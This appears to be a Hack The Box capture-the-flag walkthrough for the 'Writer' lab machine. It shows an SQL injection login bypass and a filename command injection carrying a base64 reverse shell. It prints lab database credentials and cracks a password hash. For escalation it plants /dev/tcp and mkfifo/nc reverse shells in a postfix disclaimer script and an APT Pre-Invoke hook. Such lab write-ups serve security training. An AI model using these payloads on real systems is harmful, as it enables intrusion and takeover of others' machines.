HTB - writer

Writer is a medium difficulty box but personally, I feel that this box is rather difficult to exploit, especially the privilege escalation process.

HTB - Writer

Box : writer
IP Address : 10.10.11.101
Operating System : Linux

Remarks

Enumeration

As usual, let’s just start off with running nmap on the services available on the IP address. There isn’t anything interesting available from the output, just the typical port 22 and 80 used for SSH and web service.

However, what is worth mentioning is that Samba smbd 4.6.2 is running on ports 139 and 445, which points to possible SMTP services.

Discovery

Before we carry on furthur, let’s add writer.htb to our /etc/hosts file.

10.10.11.101    writer.htb

Next, we will try to enumerate the possible endponts on http://writer.htb using Gobuster. From the output, we dicsover an /adminstrative endpoint which points to a possible point of entry into the website’s adminstrative interface.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://writer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://writer.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/11 13:46:22 Starting gobuster in directory enumeration mode
===============================================================
http://writer.htb/contact              (Status: 200) [Size: 4905]
http://writer.htb/about                (Status: 200) [Size: 3522]
http://writer.htb/static               (Status: 301) [Size: 309] [--> http://writer.htb/static/]
http://writer.htb/logout               (Status: 302) [Size: 208] [--> http://writer.htb/]       
http://writer.htb/dashboard            (Status: 302) [Size: 208] [--> http://writer.htb/]       
http://writer.htb/administrative       (Status: 200) [Size: 1443]                               
http://writer.htb/server-status        (Status: 403) [Size: 275]                                
                                                                                                
===============================================================
2021/09/11 14:06:47 Finished
===============================================================

Visiting the /adminstrative endpoint, we are presented with a login page that is vulnerable to SQL injection. The payload of admin'or 1=1 or ''=' as the username will then redirect us to the /dashboard endpoint.

Looking through all the endpoints, we discover a /dashboard/stories/<post id> endpoint that allows us to upload files. However, we also discover that we are only able to upload JPEG files.

File upload functionality

Capturing the file upload request in burp, we realize that there is no filtering of uploaded files. This presents the possibility of spawning a reverse shell using file uploads.

To do that, we will have to first create a base64-encoded reverse shell payload that is embedded in an image file.

┌──(kali㉿kali)-[~/Desktop]
└─$ echo -n '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.7/3000 0>&1"' | base64
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNy8zMDAwIDA+
JjEi
                                                                                                 
┌──(kali㉿kali)-[~/Desktop]
└─$ touch '1.jpg; `echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNy8zMDAwIDA+JjEi| base64 -d | bash`;'

Afterwards, we will upload the malicious image file and intercept the file upload request. We will then change the request body accordingly.

File upload request intercepted by Burp

Obtaining user flag

Now that we have obtained the reverse shell, we will now stabilize the shell. we also realize that we have only gained access to www-data and do not have sufficient privileges to read the user flag.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 3000             
listening on [any] 3000 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.101] 49678
bash: cannot set terminal process group (981): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@writer:/$ export TERM=xterm
export TERM=xterm
www-data@writer:/$ stty cols 132 rows 34
stty cols 132 rows 34
www-data@writer:/$ 

Let’s first try to find out the users that can be logged into this terminal. We discover that john and kyle can both be authenticated.

www-data@writer:/$ cd home
cd home
www-data@writer:/home$ ls
ls
john  kyle
www-data@writer:/home$ 

After navigating around the terminal, we discover a maria.cnffile inside /etc/mysql that contains credentials for us to access the database.

www-data@writer:/home$ cd /etc/mysql
cd /etc/mysql
www-data@writer:/etc/mysql$ ls
ls
conf.d  debian-start  debian.cnf  mariadb.cnf  mariadb.conf.d  my.cnf  my.cnf.fallback
www-data@writer:/etc/mysql$ cat mariadb.cnf
cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
www-data@writer:/etc/mysql$ mysql -u djangouser -h localhost -p
mysql -u djangouser -h localhost -p
Enter password: DjangoSuperPassword

Now, we will login to mysql database and attempt to obtain the credentials for any of the users on this terminal.

MariaDB [dev]> show tables;
show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.000 sec)

MariaDB [dev]> select * from auth_user;
select * from auth_user;
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| id | password                                                                                 | last_login | is_superuser | username | first_name | last_name | email           | is_staff | is_active | date_joined                |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
|  1 | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | NULL       |            1 | kyle     |            |           | kyle@writer.htb |        1 |         1 | 2021-05-19 12:41:37.168368 |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+

However, we are only able to obtain the hash of the password for kyle. But, we would have to identify the hash type that we are looking at.

┌──(kali㉿kali)-[~]
└─$ hashcat -h | grep "PBKDF2-SHA256"
   9200 | Cisco-IOS $8$ (PBKDF2-SHA256)                    | Operating System
  10000 | Django (PBKDF2-SHA256)                           | Framework

Now that we have identified that the hash most likely belongs to a hash generated by the Django framework, we will now try to crack the hash using Hashcat.

┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 10000 hash.txt rockyou.txt  
┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 10000 hash.txt rockyou.txt --show                                             3 ⚙
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

All that is left for us to do is to SSH into kyle and obtain the user flag.

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh kyle@10.10.11.101                                                                    3 ⚙
The authenticity of host '10.10.11.101 (10.10.11.101)' can't be established.
ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.101' (ECDSA) to the list of known hosts.
kyle@10.10.11.101's password: 
Last login: Fri Sep 17 16:56:56 2021 from 10.10.14.15
kyle@writer:~$ ls
user.txt
kyle@writer:~$ cat user.txt
<Redacted user flag>
kyle@writer:~$ 

Obtaining the root flag

Let’s first try our luck if there are any binaries that can be executed without any password, but with root privileges. It seems that luck is no longer on our side this time.

kyle@writer:~$ sudo -l
[sudo] password for kyle: 
Sorry, user kyle may not run sudo on writer.

Next, let’s just run a Linpeas script to identify possible privilege escalation vectors. From the output, it seems that there are installed mail applications (postfix), and the user kyle belongs to the filter group that seem to be able to write into the /etc/postfix/disclaimer file.

POSTFIX mail applications

Writeable files by filter group

Apart from that, we were also able to find out the emails for kyle and root

kyle@writer:~$ cd /etc/postfix && ls
disclaimer            dynamicmaps.cf    main.cf.proto  master.cf.proto  postfix-script
disclaimer_addresses  dynamicmaps.cf.d  makedefs.out   postfix-files    post-install
disclaimer.txt        main.cf           master.cf      postfix-files.d  sasl
kyle@writer:/etc/postfix$ cat disclaimer_addresses
root@writer.htb
kyle@writer.htb

Now, we will create a modified disclaimer file (saved in another directory) that will call a reverse shell command and spawn a reverse shell.

#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
bash -i &>/dev/tcp/10.10.16.7/4444 0>&1

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Afterwards, we will write a python script that will send an SMTP message (Referenced from here)

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

host = "127.0.0.1"
port = 25

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = "" 
msg['From'] = "kyle@writer.htb"
msg['To'] = "kyle@writer.htb"
msg['Subject'] = "This is not a drill!"

# payload 
message = ("test message")

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host,port)

if server.noop()[0] != 250:
    print("[-]Connection Error")
    exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Now, all we have to do is to copy the modified disclaimer file to /etc/postfix/disclaimer and execute the script to obtain the reverse shell.

kyle@writer:~$ cp disclaimer /etc/postfix/disclaimer && python3 send.py
[*] Payload is generated : test message
[***]successfully sent email to kyle@writer.htb:

Now, we have obtained the reverse shell, but we realized that this is not a root shell. Instead, this is a shell for john

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.101] 50386
bash: cannot set terminal process group (1243409): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ix$ python3 -c 'import pty; pty.spawn("/bin/bash")'
john@writer:/var/spool/postfix$ export TERM=xterm
export TERM=xterm
john@writer:/var/spool/postfix$ stty cols 132 rows 34
stty cols 132 rows 34
john@writer:/var/spool/postfix$ id
id
uid=1001(john) gid=1001(john) groups=1001(john)

Before continuing furthur, let’s first save the id_rsa file on our local machine so that we can SSH into john@10.10.11.101

john@writer:/$ cd /home/john/.ssh
cd /home/john/.ssh
john@writer:/home/john/.ssh$ ls -la
ls -la
total 20
drwx------ 2 john john 4096 Jul  9 12:29 .
drwxr-xr-x 4 john john 4096 Aug  5 09:56 ..
-rw-r--r-- 1 john john  565 Jul  9 12:29 authorized_keys
-rw------- 1 john john 2602 Jul  9 12:29 id_rsa
-rw-r--r-- 1 john john  565 Jul  9 12:29 id_rsa.pub
john@writer:/home/john/.ssh$ cat id_rsa

┌──(kali㉿kali)-[~/Desktop]
└─$ nano id_rsa   
                                                                                                 
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 id_rsa 

──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa john@10.10.11.101                                     
Last login: Wed Jul 28 09:19:58 2021 from 10.10.14.19
john@writer:~$ 

Next, we will execute the Linpeas script again to discover potential vectors for privilege escalation. We realize that john is part of the management group and management group is able to write into /etc/apt/apt.conf.d. This gives us the idea of privilege escalation by APT (Refer to here for more info)

john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

From the postfix, files we also realize that the disclaimer program will be executed when the user is john.

  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Now, we will create a payload in the /etc/apt/apt.conf.d directory to create a reverse shell that can escalate our privileges to root privileges. The payload created will then execute the reverse shell prior to any system updates that is running in the background.

Since the /etc/apt/apt.conf.d has full permissions and the disclaimer program is scheduled to run in the background since the user is john, the reverse shell payload will be invoked.

john@writer:~$ cd /etc/apt/apt.conf.d
john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4444 >/tmp/f"};' > payload

Lastly, we will stabilize the root shell and obtain our flag.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.101] 45550
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@writer:/tmp# export TERM=xterm
export TERM=xterm
root@writer:/tmp# stty cols 132 rows 34
stty cols 132 rows 34
root@writer:/tmp# cd
cd
root@writer:~# ls
ls
root.txt  snap
root@writer:~# cat root.txt
cat root.txt
<Redacted system flag>
root@writer:~#